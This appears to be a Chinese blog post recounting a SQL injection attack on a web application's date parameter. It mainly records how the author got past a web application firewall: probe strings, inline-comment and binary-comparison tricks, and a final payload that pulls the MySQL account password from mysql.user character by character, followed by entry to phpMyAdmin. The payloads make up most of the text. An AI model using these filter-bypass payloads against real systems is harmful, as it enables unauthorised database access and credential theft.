请求包:
POST http://www.attack.com?check.php HTTP/1.1

Host: www.attack.com

Connection: keep-alive

Content-Length: 34

Accept: /

Origin: http://www.attack.com

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/75.0.3770.80 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Referer: http://www.attack.com

Accept-Encoding: gzip, deflate

Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6

type=2&date=2019-06-20&pihao=1

判断注入

首先判断出了date参数这里可以闭合:
date=2019-06-20
date=2019-06-20'
date=2019-06-20'--+

然后看下哪些东西过滤了:

and 1=1 //拦截
and ~1=~1 //拦截
and -1=-1 //拦截
or 1=1 //拦截
xor 1=1 //拦截
and 1 between 1 and 2 //拦截
and hex(1)=1 //拦截
and hex(1)=s //不拦截

注释符:

/**/ //不拦截
/*!*/ //不拦截
/*!12345*/ //拦截
(/*!12345*/) //不拦截

猜测,比较等于号两边的值的数值类型

and 1=1 //拦截
and 1=s //不拦截

所以我们可以判断的payload:

and 数字=sql语句
and 字符=sql语句

打开mysql:

7.png

那么我们最终的猜想就是等号的一边是数值,一边是字符串类型的数字。
用hex()这个函数来判断有个鸡肋,就是转换成的十六进制,但是十六进制只是由0、1、2、3、4、5、6、7、8、9、A、B、C、D、E、F16个字符组成,所以后续判断出其他的字符的时候比较的鸡肋,这个函数只能辅助判断是否存在注入点,但是在实战中不推荐使用。

基本信息

首先来判断一下user()的长度:

' and 1=length(user())--+ //拦截
' and user()--+ //拦截
' and user--+ //不拦截

那么就是user和()之间这个位置要有所动作了:

#Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;
user%0a()
uSer%0a()

空白字符不行,尝试下内联注释:

(/*!12345user*/())  //不拦截

所以我们可以判断user()字符的长度了:

' and 10=length(/*!12345user*/())--+

bypass成功,同理我们可以推断出主机名,数据库名,版本等一些基本的信息

这里我们又遇到了一个问题,上面我们的思路是基于等号两边值的类型不同来注入的,但是当我们遇到字符的时候,就比较的难搞了(当然转换成ascii来判断也是行的,不过找了更好的方式)。

想不到思路了下了一个mysql手册(没思路的时候多看看手册,说不定有新的收获):

在函数和操作符当中,找到了如下的内容:
8.png

BlahBlah了一大堆,我们直接来测试一下。
9.png

原理就是将等号两端的值转换成二进制进行比较,相等返回1,不同返回0。

' and binary 'y'='y'--+ //拦截(估计这里是正则匹配了 and = ,下面这条并未被拦截)
' and binary 'y'=substr(/*!12345user*/(),1,1)--+

这样我们就可以弄出用户名的值了。

注入密码

按照我们上面的思路,我们要注入出数据,那么我们构造的语句应该是这样的:

' and binary 'u'=substr((select password from mysql.user limit 0,1),1,1)--+

但是这里被拦截了:

select password from //不拦截
select password from mysql.user //拦截

那么就要在from后面做文章了:

from '' //拦截
from 'mysql'.user //拦截
from 'mysql.user' //拦截
from {} //拦截
from {mysql.user} //拦截
from (/*!12345*/) //拦截

这里想了好久,感觉走到尽头了,完全没办法了。

突然想到了Mysql的黑魔法:

Mysql黑魔法: select{x user}from{x mysql.user};

select password from{x mysql.user} //拦截

卒。。。。没办法了。。。。

想了老半天,想到之前bypass360zhuji一个版本的时候,from前面不能有空格,就是用了{x table_name}

然后测试下:

select {x password} from mysql.user //不拦截

倒是成功了 == 奇奇怪怪的

最后的payload:

' and binary 'u'=substr((select{x password}from mysql.user limit 0,1),2,1)--+

这样就可以爆出mysql的密码了,然后进了phpmyadmin后台,看能否进行下一步的操作。

标签: none

添加新评论